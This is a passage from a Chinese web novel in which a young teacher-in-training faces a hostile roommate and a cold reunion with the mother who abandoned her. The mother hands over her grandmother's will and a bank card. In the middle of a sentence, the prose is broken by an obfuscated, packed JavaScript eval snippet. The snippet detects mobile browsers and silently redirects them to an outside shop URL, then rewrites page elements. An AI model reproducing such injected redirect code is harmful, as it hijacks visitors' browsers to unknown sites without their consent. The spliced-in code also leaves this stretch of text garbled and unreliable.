碗里还剩四个汤圆,其中一个被她咬了一口,白色的表皮漏出红棕色的馅料,在暖光下就像血液一样。 一滴一滴落在他心上。 他的小朋友,一直在不高兴。 就从他问她,为什么什么都不告诉他那一秒开始。 他咽下那几个汤圆,嘴里甜得发腻,心上却苦得发涩。 终究是他插手太多了。 他应该尊重她的性格,而不是一味想要闯进她的世界。 后面几天,两人默契地没有再提这些事。 一个怕被人问,一个怕自己多问。 两个人都因为太在意对方而变得谨小慎微。 他们又回到原来的样子,除了早上起床见上一面,其他时候各自忙碌。 何嘉明天就要毕业答辩了,要用的PPT还没修改好,再加上学校月考卷还没阅完,连着熬了几个大夜,整个人都憔悴了一圈。 李成杨虽然关心她,但又不敢问,只好逮着时间给她做点好吃的。 这天张壅发了个消息过来,说是冉舒想出去爬山,叫他们一起去山上玩两天,问周末方不方便。 他在何嘉门前敲门,“嘉嘉我进来了?” “进来吧——”何嘉头也没抬,一直在电脑上嘀嗒。 他站在一边半天没动静,视线落在她的侧脸。 女孩眼下一片乌青,雪白的脸呈现出蜡黄的趋势,头发随意绾在后脑勺,有几缕并不听话,掉在她的后颈上发痒。 她现在已经完全具备作为初级牛马的资格。 何嘉没听到他的动静,奇怪地抬头:“李成杨你怎么不说话?” 李成杨朝她走近,在她身边蹲下,仰着头问她:“最近累不累?” “还好,就是有点忙。”她捧起他的脸,在他唇角留下一个仓促的吻,又问:“你有事情要说吗?” “没事不能看看你?”他站起来,将她圈在自己和桌子之间,在她额头上吻了吻,“我想你。” 这是他第一次说想她。 他平时从来不会说这种话。 何嘉立马站起来,将脸埋在他胸前,又踮起脚尖在他脖子上亲了亲。 “我也想你,我每天都在想你。” 他弯起唇角,调侃自己:“刚认识你的时候总觉得是你需要我,现在发现还是我这个老年人需要你。” “嘉嘉,是我需要你。” “我忙完这段时间应该就好了,到时候我每天陪你好不好?” 他摇头:“不用。我说过的,你的时间就用来做你想做的事情,不用专门陪我。” “可是你说想我了。”她看着他的眼睛,有点失落,“我想和你在一起。” 他轻轻抱住她,想起张壅问的事情,“冉舒和张壅说这周想去爬山,可能要两天,你有时间吗?” “就是周末吗?” “嗯。” 她想了下,这周末正好是月休的时候。 “可以的,我想去。” “那好,我等会给他们说一下。” “是去……” 话还没说完,何嘉的手机铃声响起,这已经是这周的第五次。 “等我看下电话。” “嗯。” 拿起手机,那串数字和前几天的一模一样。 一开始何嘉接过这个电话,但对方是个不认识的小朋友,她以为他打错了,所以直接挂了电话,没想到后面又打了几次。 她这次也一样按下拒绝键,将手机放回桌子。 李成杨问她:“怎么了?骚扰电话?” 她说:“不是,对面打错了,但是不知道为什么一直打,我不想接就没管了。” “嗯,你刚才问什么?” “我问是去哪个山?在余川周边吗?” “差不多,青峰山那边,周末人多。” “嗯嗯,那我已经开始期待了。” 他摸了摸她的头发:“那你继续准备,等下早点睡。” “好,你也是。” 李成杨走了之后,何嘉又熟悉了一下答辩稿,直到快一点的时候才上床休息。 第二天请好余川三中的假,准备全身心完成答辩的事情。 李成杨用中午吃饭的时间送她回学校,刚开到大学门口就被保安敲了窗户。 “今天不能停,外面的车都赶快开走!” 他按下窗户问保安:“叔,我也不能停?” 保安认出他以前在这儿工作,但还是没松口:“小李啊,今天学生多,上面都说了校外的车不准停,我也没办法啊。” “好,那我耽误两分钟,马上走。” “行,你快点吧。” 他转向何嘉,“乖,你先进去吧,结束之后给我打电话,我来接你。” “不用。”何嘉拿着手上的稿子,很快打开车门,“你上班就好了,我等会儿自己打车回去。” “嗯。” 他又看了看面前的女孩,今天为了凸显正式,她扎了一个盘发,身穿一件浅蓝色的衬衫,下面是深蓝的牛仔裤,衬衫被她全都收进裤腰里,看上去干练精明。 很适合她。 “那我走了噢。”何嘉朝他挥手,露出两个小梨涡。 “好,一切顺利。”李成杨同样挥手,视线一直黏在她身上。 最近的她,好像和才认识的时候不一样了,变得更加利落,褪去了小女孩的稚嫩,有了成熟的气息。 不过,哪样的她都很好看,都一样让他喜欢。 他又看了几眼,直到她从他的视线里消失,才离去。 何嘉这边。 还没到答辩时间,她先回了一趟宿舍。估摸着室友都回来了,也正好回去拿一下自己的钥匙,再搬一搬离校的东西。 刚走上五楼,503果然传来一阵聊天的声音。 她推开门,看见另外三个室友已经到位。 郑亦然先发现她,看了她一眼之后什么也没说。 何嘉装作没看到,扭头给其他两个室友打招呼。 “嗨,你们回来了呀。” 室友楚曦很高兴地走到她身边:“小嘉好久没见啦!想死你了!” 何嘉朝她笑笑:“我也想你啦,这几个月你实习怎么样?” “别提了。”楚曦吐槽:“每天在学校不是被压榨就是被压榨,实在太不是人了。” 何嘉感叹:“怎么实习生都要被压榨啊?我也是,天天被拉去监考、批卷子,晚上还要守晚自习。” 楚曦惊呼一声:“天啊!”。 两个人在苦难之中来回吐槽了好一会儿。 另一个室友陈雨婷从阳台走进室内,看到何嘉的时候眼前一亮:“小嘉你今天好漂亮啊!感觉你变化蛮大哦。” “是吗?”何嘉看了看自己的衣服,“是这件衣服看上去太正式了吗?我想着答辩还是穿成熟一点。” 陈雨婷说:“Nonono,就是感觉你实习之后变得特别有味道了。” 何嘉不好意思地笑了笑。 陈雨婷拉着她,忽然在她耳边问:“小嘉,我刚在阳台看到你从一个白车车下来,你还和开车的说了好几句话,我看那人是个男的,不会是你对象吧?” 这话声音说大不大,说小不小,足以让室内的其他两人都听见。 楚曦八卦地凑到何嘉面前:“我去!小嘉谈恋爱了啊?什么什么?快速速招来!” 何嘉脸颊刷红,“确实谈恋爱了。” 陈雨婷赶快问:“谁啊我丢?帅不帅?多大了?” “嗯……”何嘉留意到郑亦然还在室内,有点犹豫,于是只说:“挺帅的。” “WOW——”楚曦起哄:“挺帅是多帅啊?有没有照片?” 何嘉点点头,摸出手机,点开了之前保存的一张照片。 是她独自在安城,张壅拉着李成杨给她发的那张自拍。 “这个?还是这个?”楚曦分别指了指两人,忍不住说:“这两个长得都挺好看呀!你在哪儿认识的这些帅哥?” 何嘉指着李成杨说:“这个,这个是我男朋友。” 陈雨婷凑上来仔细观察,“你对象好帅啊!虽然这张照片看上去有那么一点不耐烦吧,但是五官好立体诶!就是……” “就是……”楚曦帮她说了后半句:“就是好像有点脸熟?” 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392668|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉抿嘴轻笑,不说话,想让她们自己猜一下。 但一直在一旁玩手机的郑亦然突然开口:“当然脸熟了,都不知道在学校见过多少遍了。” 陈雨婷和楚曦看向她:“你认识?” 郑亦然依旧坐在板凳上,眼皮都没抬,“信捷的那个快递员。” 她俩听到这话面面相觑,楚曦说:“我买的东西都不配发信捷,好像只见过那个人一两次,你有印象吗?” 陈雨婷试着回忆一遍:“好像,好像,好像真的是他?” 何嘉拿过手机,很坦然地说:“就是他。” “啊?啊?”楚曦难以置信,“你俩?啊?你俩怎么在一起的。” 说完又怕何嘉误会她的语气,补充道:“我不是说你俩在一起不好啊,我就是很惊讶,你俩咋认识的?取快递啊?” 何嘉简要概述:“我之前学校门口的饭店找了个兼职,刚好他是老板。” 这下还陈雨婷震惊:“他都开饭店了还送什么快递?” 何嘉摇头:“他可能有他自己的想法吧。” “好吧。”楚曦听了之后觉得没什么,只是好奇地问:“他多大啊?家底咋样?” “比我大十岁。我不知道他有多少存款,但是那天他好像说要供我读研。” “你是考的临昌师范对吧?专硕三年读下来,加上生活费的话,应该要花十多万的。” “嗯,是这样。” 陈雨婷接着说:“那应该还算是可以的水平,他比你大那么多,给你付出点是应该的。他平时对你怎么样?” 何嘉很诚实:“挺好的,就是我们都挺忙,这几个月没多少相处时间。” “你还是担心一下自己吧。” 郑亦然突然转向她,虽然是在微笑,但莫名让何嘉很不舒服。 她问郑亦然:“为什么?” 郑亦然轻嗤一声,眼神不屑:“原因?我那天不是早跟你说过?他比你大那么多,你说他图你什么?” 这话一说出来,陈雨婷和楚曦都不敢说话了。 空气里弥漫着一股沉默的火药味。 郑亦然没打算放过她:“谁知道你还真和他在一起了啊?天天见不着的话,又有谁知道,他除了包你还包谁?” “郑亦然。”楚曦打断她,“你怎么这么说话?” 她很淡定:“因为我本来就没多喜欢她,你自己问她啊,她知道,反正毕业了我也不想装来装去。诶,何嘉,你就说我说的是不是实话?” 楚曦愣住,去拉何嘉的袖子:“没事的小嘉,你别听她说的话。” 陈雨婷也说:“对,在一起年龄不是问题啊,你别听郑亦然乱说。” 郑亦然觉得搞笑,原本寝室里相处得不远不近的几个人,怎么突然就变得那么亲近了? 真是搞笑。 “何嘉,你说,我说的有错吗?”她朝何嘉再次微笑,一字一句都扎在她心上。 “你说,人家老男人一个,为什么喜欢你啊?你这么年轻,他为什么找你啊?” 何嘉站在原地,分明是五月底的天气,她却觉得凉气从脚蔓延到头皮。 这次,她没有像上次那样反驳郑亦然。 因为她真的,说不出来话。 她前几天不是还问过李成杨这种问题吗? 她有得到什么完整的答案吗? 所以他为什么喜欢她呢? 还是说,真的只是因为她很年轻? 那样的话,没了她,他也一样可以喜欢别人。 “郑亦然,你有点过分了。”陈雨婷对她说:“人家就谈个恋爱,你有必要说得那么难听吗? 郑亦然抠抠指甲,随意回答:“我怎么过分啦?我就实话实说嘛,我就是替小嘉感到不值呀,虽说那男的不是白嫖她的青春,但谁知道他是不是对好几个姑娘都这样呀?” “不是的。”何嘉很无力地反驳了一句。 “哦。”郑亦然根本就不关心。 何嘉还站在原地,脑子里突然乱七八糟。 好多问题,还有今天背过的答辩稿,全都混在一起。 让她觉得窒息。 “小嘉,小嘉?”楚曦戳了戳她的手背,提醒她:“要答辩了,我们先去报告厅那边准备吧?” 陈雨婷替她拿起桌子上的答辩稿,“小嘉我给你拿着了,我们先过去吧,你别想这些了,郑亦然都是乱说的。” 郑亦然翻了一个白眼,率先离开寝室。 而何嘉看着她的背影,只说了一句:“走吧。” 48. 第48章 一行人在报告厅前准备了好一会儿,何嘉抽到最后一个答辩,同学们结束之后她才走进室内。 台下坐着一排看上去资历颇深的老师。 没有一点拖泥带水,一开始就问她为什么选这个题目? 何嘉刚才觉得脑子很乱,但不知道为什么,这会儿一下子变得好平静,甚至是镇静。 她很从容地回答了每个问题,全程五分钟不到就让她走了。 从报告厅出来,她发现那种镇静的情绪一直持续到现在。 她站在路口,往来好几群正要去吃饭的同学,应该正在读大一,或者大二。 他们每个人都有说有笑,不是在谈论哪个专业课的老师很水,就是在说下周的小组作业还没开动。 每个人都各自忙碌,扮演好各自的角色。 那么她呢? 她再看一看这个地方,猛然发觉,自己的本科生活真的结束了。 她即将启程,去到一个完全的陌生的城市,又要试着熟悉很多新的事物。 不知道是迷茫更多还是害怕更多,她又想到李成杨。 如果她去读研了,见面的次数比现在还要少,他还会一直保持对她的感觉吗? 大街上车水马龙,没有一处是她的归处。 心中难掩空虚,她这次是真的想要给他打一个电话。 翻开通讯录,李成杨的名字就躺在那里,她按下拨号键,将手机放在耳边。 “嘟嘟——” 拨号音只响了两声,他接起电话:“嘉嘉?你那边结束了?” 何嘉没有说话,只想听听他的声音。 可是不巧,几乎是同一时间,她的手机铃又响了。 又是那个给她打过多次的电话号码。 上面写着的归属地是浚州。 又是浚州,她哪里认识什么浚州的人? “你先等一下。”她对李成杨说了这句之后,按下浚州那个号码的接听键。 语气不是很耐烦:“你打错了,都打了多少次了,能不能别再打了!” 那边安静两秒,一道温和却疏远的女声响起。 “我是何胜君。” 何胜君? 像是听见什么骇人听闻的事情一样,何嘉心脏猛地跳动,瞳孔不断收缩,身体却如坠冰窟,根本动弹不得。 “何胜君……”她小声呢喃,大脑一片空白,想要再说点什么,却像失声一样张着嘴巴发不出声响。 身后开来一辆要转弯的车,司机不断按喇叭。 然后摇下车窗骂她:“我日!你打电话一边儿去打!按那么久喇叭听不见啊!” 何嘉转身对他说了一声“对不起”,随后机械地走到路旁的步道。 电话里的女声再次开口:“何嘉。” 这个声音,就是这个声音,一下子把她从空白里拉回现实。 她就是化成灰也记得,2007年的那个秋天,那个女人忽然然出现在家里,是她接走了王丽琼。 是她,是她。 怎么会是她? 何嘉不停喘气,压着心中的情绪,装作平静地问她:“你找我有事?” 何胜君不跟她绕圈子,“我现在在你学校附近,你出来跟我见一面。” “什么?”何嘉的寒意捅到嗓子眼,难以置信地问她:“你为什么要见我?你为什么不告诉我就来找我?” 何胜君的语气一直很淡:“我给你打了很多电话。现在手上有一件事情需要你知道,但我明天就不在这里了,所以就擅作主张过来了。” “……”何嘉滚动喉间,嗓子开始发疼,她长呼一口气说:“我不想见你。” “何嘉,这件事我必须说,跟你阿婆有关的。”何胜君的语气不容拒绝:“我在你学校门口的糖水店,你尽量快点过来。” 和阿婆有关的? 难道是阿婆突然…… 不对,林姨没有给何她打过电话,就证明阿婆现在状态还是稳定的。 可是何胜君从来都没有回去看过阿婆,她能有什么事情是需要现在说的? 怀着这样的疑问,何嘉点头:“我现在过来。” 马路对面的糖水店就安静地站在那里,距离她不过五十米的距离。 这么几步路,她刻意放缓速度,一路上手指轻颤。 她忽然不知道自己是谁,也不知道自己该用怎样的表情面对何胜君。 她该以什么身份去和她见面呢? 再次回神的时候,何嘉已经推开糖水店的大门,前台的小哥很有礼貌地招呼她:“您好,这边点餐。” 她轻微摇头,“我找人。” “好,您请。” 她转身环顾四周,店里顾客并不多。 除了两三桌大学生,就只剩一个单独坐在窗边的女人。 她不敢抬头和那个人对视,却快速朝那一桌走近。 何胜君早就发现她的身影,但只是淡然地注视她,并没有站起来,也没有微笑。 “何嘉。”何胜君叫了她的名字,然后让她坐下。 何嘉听到她的声音,音调和十一年的那天一样温柔,但是多了一点冷冽。 “你要跟我说什么?”何嘉完全不想和她客套,只想直奔主题。 何胜君并不意外,但还是想问:“我给你打了很多电话,你怎么没有接呢?” 何嘉这才抬头看她,视线疏离又防备。 从前那个留着长卷发的女人没有多少变化,她的五官依旧那么柔美,脸上虽然有了岁月的痕迹,但妆容恰到好处,将她的衰老掩盖得很彻底。 她举手投足之间都美得如初见那天。 那天何嘉也是这么看她的。 她的头发扎成低盘发,甚至和何嘉今天的发型有些相像。 往来的路人若是自己去瞧,就能看到两人的容貌极其相似,一举一动仿佛是从一个模子里刻出来的。 “我第一次的时候接了。”何嘉看见自己面前摆了一杯热可可,眼睛眨了眨,没有太多情绪,“但是个小朋友在说话,我以为是打错了,后面再打的时候我就不想再管了。” 何胜君眼神停顿一秒,很快就恢复正常,“那是我儿子。” “嗯。”短短的一句话打在何嘉心上,但她想保持自己的体面,没有继续问。 可何胜君选择将它摊开来说:“我亲生的。是和后面这个老公生的。生了他之后全家就从江州搬到浚州去了。” 何嘉轻轻弯唇,对上她的视线很倔强,“我不是很感兴趣。请你直接告诉我,你今天是来说什么的?” 何胜君闻言从包里拿出一个文件袋,将它推给何嘉。 “这是王丽琼留给你的。” 何嘉拿起那个透明的文件袋,隐约看到了“公证书”三个字。 “这是什么?” “你打开看看。” 何嘉将里面的文件拿出来,一共两张,还有一本大红色的房产证。 她先看了房产证,纸张因为年代久远已经开始泛黄,但上面的黑字印刷却依然清晰。 权利人那栏写着“王丽琼”的名字,坐落情况正是安城的那套老房子。 看完证件她又去看另外两张纸。 其中一张是公证书,视线下落,钉在公证事项那一栏,上面清清楚楚写着“遗嘱”两个字。 遗嘱? 何嘉呼吸乱了一拍,立马去看另外一张纸。 一张标准大小的A4纸,映入眼帘的就是巨大的手写标题——遗嘱。 何嘉指尖发麻,忍着心里的不适继续往下阅读。 立嘱人是王丽琼,她完整地书写了一份自书遗嘱,将安城那套房子交给何嘉继承,并标明不包括其配偶。 她的字体清秀,但笔触微微发颤,看上去应该是她还可以移动双手的时候写的。 时间定格在2006年的冬天,那个时候的何嘉才十岁。 “这是什么?” 明明知道它是什么,但何嘉还是无助地看向何胜君,“为什么要给我这个?” 何胜君抿了一口咖啡,告诉她:“零七年那会儿她就给我了,一直放在我这里保管着,我本想着等她去世之后再给你,但是,过两天我就要陪小孩出国,以后应该是不会再回来了。” 她微怔一瞬,首先关心的是:“那我阿婆呢?你不管她了吗?” 何胜君说:“我每个月还是会支付养老院那边的费用直到她去世,只是,我不会再回来了。” “那如果,她去世的那天呢?” 何胜君没有回答,但这已经是一种回答。 何嘉将文件放进袋子里,重新审视面前的女人。 她今天穿了一件黑色的连衣裙,是丝绸质地,裁剪十分简约得当,胸前还有一根白色的丝巾,上面绣着一个小巧的金属标志。 何嘉从前在网上看到过那个标志,品牌主打贵气老钱风,一件连衣裙要四五千,好像是叫做ToryBurch。 何胜君很适合这个风格,穿上就像一位气质优雅的高知教授,人人见了都会侧目称赞。 “你后来过得很好吧。”何嘉没想到自己会这么问。 何胜君也没想到,但如实高知她:“后来我和我老公做了点服装生意,收益比较稳定。” 她这话说得很保守,就像她这个人一样,总是很平和,不会流露太多心情。 何嘉却觉得很好笑,“你既然过得挺好,为什么从来不会安城看阿婆?” “何嘉,你有没有想过,也许我没有什么看的理由呢?”女人轻启红唇,嘴角一直保持着体面的微笑,“我和她,感情没有多好,所以我想,也不必再回去。” “你还在气她对不对?气她偏心舅舅,什么都没有给你留下。” “没有,我没有气她。” 何嘉想从她脸上找到谎言的痕迹,但徒劳地发现她说这话的时候,眼皮都没有动一下。 她说的是真的。 “我以前可能气过吧。”何胜君用勺子搅动咖啡,视线盯着漩涡的中心。 “那时候确实气过的,房子和钱我一分没有,生病了却要我来服侍,我想谁都会生气的吧? 但是后来也觉得不气了,可能是因为她最爱的那个儿子抛弃了她,而她只能依附于自己不喜欢的女儿,然后我的气或者,恨?就变成了一种怜悯。所以你说,我为什么不去看她?” 何嘉喉咙发哑,她不能回答这个问题。 她还是没有办法接受这个话题,她也搞不懂,为什么对她那么好的阿婆,不爱自己的女儿呢? 难道就仅仅是因为性别吗? 她叹了一口气,问何胜君:“那舅舅呢?他很多年都没有出现过了,我们也没有他的电话号码。” “舅舅?”何胜君首次流露出轻蔑的笑,看着何嘉的眼神有一瞬间发冷,“他不会再出现了,因为,他根本不是你舅舅。” “什么意思?” “就是字面意思。他不是王丽琼亲生的孩子,也不是我的亲弟弟。王丽琼的亲生孩子只有我一个。” 什么?! 何嘉惊愕地看着她,一时间不能理解她话里的意思。 原来那个人,他根本不属于这个家庭?所以当然不会出现,他当然不会出现! 王丽琼,根本就不是他的亲生母亲! 那这样的话,阿婆为什么…… “你也觉得不可思议吧?”何胜君又恢复了温婉的笑容,“但这是我从小就知道的秘密。我年轻的时候也恨,我一个亲生的姑娘难道还比不上抱来的孩子么?可事实就是,只要他是男孩,就无所谓血缘。” 何嘉的表情一瞬间凝固,她的认知出现了极大的偏差。 阿婆不会是那样的人,不会的。 可是林姨也这么跟她说过,所以,这也是真的。 可是怎么会是真的? 何胜君看出她的心思,继续说:“但现在,那些都不重要了,我不在乎了,我只是想到她躺在床上还需要我的照看,就觉得有些讽刺吧。 不过我有时候也需要感谢她,毕竟她把你照顾得这么大了。所以那都无所谓了,她没有留一分财产给 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“没有为什么,就只是提醒。”她脸上仍旧挂着那个官方生疏的微笑,“何嘉,我确实对不起你,但我也不想要你的原谅,因为这些事情是绝对无法原谅的,就像王丽琼她不爱我一样,是一辈子无法原谅的事情。” “那你们为什么都不爱自己的女儿呢?” 就是这个问题,这个幼稚,但何嘉想问了无数遍的问题。 她已经快要二十三岁,竟然还想问这个问题。 何胜君轻触杯壁,喝了一口咖啡之后细微地皱眉。这是美式,她最不喜欢的一种咖啡。 但现在喝喝好像也是可以忍受的,所以她选择回答这个问题。 用一种无比冷酷又残忍的语气回答了这个问题。 “因为有些家长天生就不爱自己的孩子。” 就像王丽琼对我,就像我对你。 “我没有办法爱你,何嘉。” 何嘉听到这两句话之后,眼眶莫名泛酸,这明明是她早就知道的事实,但听何胜君亲口说出来的时候,还是重重地伤害了她。 没有小孩是不渴望父母的爱的,所以她从前时常被这个问题困扰,甚至想过是不是自己在出生的时候就不够惹人喜欢,所以爸爸妈妈都不要她了。 但那个人,那个她该唤作“妈妈”的人,却说自己天生就没有办法爱她。 “为什么?”何嘉不想流泪,她压住语气里的颤抖,又问了她一次:“为什么……?” 压抑在心中的问题在此刻全都爆发出来,她要将那些压在她心中,想问却不敢知道答案的问题,全都问一遍。 “为什么你们不要我了?为什么你们从来不来看我?为什么那个男的从来没出现过?为什么你们要这样对我?” “那个男的?” 何胜君轻笑了一声,“你是说你爸?” “不是。”她根本就不想承认他是她父亲,所以她再次强调:“就是那个男的。” 何胜君双手环在胸前,比起刚才的客套的疏离,现在的她才是真正的冷酷。 她连他的名字都不想再提,只是告诉何嘉:“我根本不想嫁给他,所以我当然也不会想和他生孩子。” “那……你为什么要生下我呢?” 何嘉深吸一口气,将情绪压在心底,她绝对不会在这个人面前哭,那样的话就好像她还在乞求何胜君的爱一样。 她已经过了想要母爱的年纪,她现在只想知道原因。 何胜君自嘲般笑了笑:“如果你是我,你就会知道,生不生不是我能决定的事情。我连嫁不嫁都不能决定,难道还能决定生不生吗?” “可是你们生了我,难道不该负责吗?” “我开始也想负责的,但是你知道吗?那个人他跑了,他竟然跑了。” 说到这些的时候,她的端庄开始出现裂痕,语气虽然柔和,但眼神非常狠厉。 “你知道我为什么要嫁给他吗?因为我爸,你阿公病了,他想活命,他想要那个人的彩礼,所以全家人都要牺牲我,没有一个人问过我同不同意。 你问我为什么不回来看你?你问我为什么不回来看王丽琼?你说我为什么不回来?我在这里,我是人吗?我能当人吗? 后来我本来认了。我和那个人说好一起去江州打工挣钱,但你知道么?他不但跑了,还把我们挣的钱全都偷走了,你说我恨不恨?” 现在何嘉知道了,她的存在可能就是个错误,连意外都不是,只是一个不被任何期待的存在,那么当然不会有人爱她。 这个家里没有一个人珍视她的生命,因为孕育生命的那个人,也从未被好好对待过。 她不想问了,她不想再听了。 可何胜君却还想说:“何嘉,你恨我是正常的,你出生之后我就没怎么管过你。我开始也愧疚过,但你知道么? 人就是很丑恶的东西,特别是当我知道王丽琼把另外一套房子留给你之后,我那点儿唯一的愧疚就烟消云散了……我竟然开始嫉妒你,我一辈子都没有得到过的东西,你竟然一下子就拥有了。” 何嘉盯着她发不出声音,她的话像一把弯刀刺在她心里,这些话远比何胜君的隐身更让人伤心。 她怎么能把这些说出来呢? 她为什么能那么直接地说出那些丑陋的现实? 何胜君见她不说话,恍然察觉自己有些失态,下意识紧握指尖,回到了原来平静的样子。 两个人在沉默里对视,却看不清对方的样子。 过了半晌,何胜君又从提包里拿出一个东西。 是一张银行卡。 她若无其事地推到何嘉面前。 “密码是你生日,卡里有五十万,算是我的补偿。” 还没等何嘉反应过来,她就抓着挎包离去,没有“再见”也没有“拜拜”。 没有任何告别,因为她们从此再也不会见。 两个血缘上最亲密的人,从此就是永别。 何嘉明明刚才才见过她,却无论如何都回忆不起她的样子。 她只记得,那人离开的时候裙角擦过她的手臂,香水味很淡,在她心里不偏不倚地掀起一阵狂风暴雨。 49. 第49章 一张银行卡,一份遗嘱,静默地躺在桌子上。 何嘉盯着它们,眼睛一眨不眨。 不安、失落、害怕、委屈、悲伤,一瞬间涌进她的胸口,让她感觉胸腔快要爆炸。那些恐惧是千只万只的蚂蚁,它们啃食她的心脏,吃掉她最后一块完整的血肉。 此刻的她不再是拥有灵魂的躯壳,更像是一具发酸的尸体。 糖水店里的奶茶芳香四溢,和她身上的腐败形成鲜明的对比,那一刻,她感到荒谬,甚至是自惭形秽。 她是一个没有任何归属的人,仿佛从来不该出现在这世上。 唯一爱她的人已经立好遗嘱,也许不久就会远离人世。 那个应该爱她的人告诉她生活的残忍,留下一张银行卡头也不回。 一个什么都没有的人,在眨眼间什么都拥有了,却又什么都没能剩下。 她还是和以前一样,什么都没能拥有。 她站在风里歇斯底里,面目狰狞。 不记得自己是如何走出室内,再次回神的时候已经站在街道上,周围街灯四起,好几家门店的LED招牌发出五彩斑斓的光,衬得她形单影只,漂泊无依。 何嘉沿着街道走了很久很久,不知道时间,只知道一直走下去,因为一停下来,那种巨大的虚无就会攀上她的背脊,死死掐住她的脖颈。 不能停下,就好像背后有鬼一样,只要稍作休息就能追上她,在啃噬她。 她非常害怕。 已经是五月底的天气,整个余川开始有了夏天的黏腻,空气里的湿度超标,让她觉得难以呼吸。 她停在一家便利店门口,胸腔一阵剧烈的恶心,她低着头不断干呕,要呕出她的压抑,她的惶恐,还有她气若游丝的那点灵魂。 但是她什么都没有呕出来,因为肚子里根本没有东西让她呕吐。 从中午到现在她一口饭也没有吃,仿佛感觉不到饥饿,只知道胃里翻天覆地,叫她不得安宁。 便利店出来一位收银小妹,很热心地问她:“你没事吧?要不要帮你叫120啊?” 何嘉一直摇头,拖着身体走进室内。 冰柜里放着好几排啤酒和酸奶,她选了后者。 酸奶多好啊,便宜的都要五块钱一瓶,她以前想喝的时候也舍不得。 可她现在就是好想喝,她好想拥有点什么,来证明她还真正活着。 一口气拿了三瓶,她将它们全都喝完,胃里一下子变得好冰,寒气连通心脏,将她压在地底里。 她坐在热饮柜旁边的椅子上,没有任何表情地注视街上往来的行人。 有孤身一人,也有双人成行,但都没有她的位置。 有没有人能告诉她,她现在到底算什么? 她连算“谁”都不想问,只是想知道自己算“什么”?是一种生命还是一种空虚? 这二十二年里,从来没有人回答过这个问题。 又看了一会儿,小妹走到她身边提醒:“你好,我看外面掉了一个手机,请问是你的吗?一直有人在打电话。” 何嘉扫了眼手机,是她的,大概是刚刚呕吐的时候掉的。 “谢谢。”她装作微笑的样子。 手机上“李成杨”三个字不停闪烁,他已经给她打了五个电话。 这是第六次。 何嘉猛吸一口气,氧气并不能扎断心中盘根错节的委屈,反而给了悲伤繁殖的勇气。 她捂着嘴巴深呼吸好几次,试着笑了几下,才按下接听键。 “喂?” 非常好,声音没有颤抖。 “嘉嘉?你还没结束吗?我刚刚给你打电话,你怎么不接?” 男人的声音急切,好像也和她一样处于一种很极大的不安。 何嘉轻轻吐气,舔了舔下唇,想要砍到心中那棵名为惊惧的树。 “我晚上和室友聚餐了,手机静音都没有听到,抱歉噢。” 李成杨松了一口气,“你们什么时候结束?已经十点了,我来接你?” 何嘉摇头:“不用的,我等下和她们一起打车就好了,你明天还要上班,先去休息好不好?” “我等你回来再睡。” “真的不用,你不要等我,你快点睡觉呀,我马上就回来了。” 李成杨顿了顿,还想说什么,但最后妥协:“那好,你们注意安全,我在家等你回来。” 家? 家……? 他说,等你回来。 他说,等我回来。 “好。” 何嘉迅速挂掉电话,生怕再晚一秒,就再也忍不住声音里的颤抖。 李成杨说,他在家里等我。 多么简单的一句话,也不是他第一次这么说,但那瞬间,何嘉再也抑制不住胸口的疼痛。 她放肆地、撕心裂肺地,哭了出来。 她没有家,她没有家了! 可是,可是他说他在家里等她…… 那瞬间泪水如七月骤雨,猛烈地砸在尘土里,然后是狂风暴雨,泪花溅起涟漪,又尖锐地划破她的脸颊,鲜血一滴又一滴落下,她已经不复躯体。 宛如新生的魂魄,从未得到口腹之欲。她渴求安定,渴求生命,渴求一切可以温暖她,让她找到现实的东西。 “物质决定意识。” 她忽然想起哪年学过的这么一句。 要先有物质才能转化形成客观存在。 她需要存在。 就在此刻,需要证明自己还存在。 于是她像疯了一样抓起手边的提包,抖着手将卡包翻出来。里面躺着何胜君给她的卡,还有一张属于她自己。 她没有犹豫地抽出自己的那张,转身走向收银台。 台面摆着五排小货架,上面全是各种颜色的正方形,来不及细想,她将每种颜色都拿了一盒,然后将卡片递给收银小妹。 小妹吃惊地望着她:“请问,全都要吗?” “全都要。”她颤着声音,语气却无比坚定。 “好的,一共1130,这边帮你刷卡。” “谢谢。” 提着那袋东西,就像提着一袋苹果那样轻易。 何嘉不停奔跑,一路上疯狂吸气,直到喉头有了血液的腥刺,她才停下来,一直喘气。 路上经过的行人纷纷注视,有的在猜测她异常的原因,有的看见那袋东西神色诧异。 但她全都不在意。 她站在路边招了一辆出租车,要求司机用最快的速度抵达目的地。 司机见她面色不对,问了她一句:“小妹,你不舒服吗?” 何嘉只是摇头:“麻烦快点。” 再快一点。 她现在就要见他。 不过二十分钟,她就站在那个叫做“家”的地方。 一扇门切断走廊和屋内,她很亢奋地将钥匙旋进插孔,一股脑冲进室内。 客厅的灯还亮着,只是没有人待在那里。 李成杨一向说话算话,他听了她的话,已经躺在床上临近梦境。 何嘉将那袋东西扔在桌子上,发出“啪嗒”一声,然后她随便抓了其中一盒,开始拆包装。 室内静悄悄的,塑料被她抛在空中的时候声音清晰。 她抓着那个正方形,想也不想就踢掉自己的裤子,身上只剩早上还穿着的那件蓝色衬衫,衣摆处早就褶皱凌乱,就像她的心情一样。 书房的人翻了个身,呼吸一直稳定。 那里飘来一阵属于他的香气,何嘉本就紧绷的神经一下撕裂断线。 不到半瞬,她就猛地冲进他的房间,像个不折不扣的入侵者,冷漠又坚决地掀开他的被子,毫不留情。 李成杨在危险中睁开双眼,还没反应过来,女孩就已经跨上他的身体,开始疯狂地亲吻。 她的吻如同荆棘,撬开他的嘴唇,涌进他脆弱的唇壁,她用力吮吸他的舌根,牙齿磕得他倒吸一口凉气。 但她还不放过他,发狠一般撕咬他的唇瓣,将他的味道全都吞咽在肚子里。 他的体温源源不断传到她身上,让她分不清现实和幻境,但那也无伤大雅,她只知晓掠夺他的空气,让痛苦变成欢愉。 “嘉嘉,嘉嘉……” 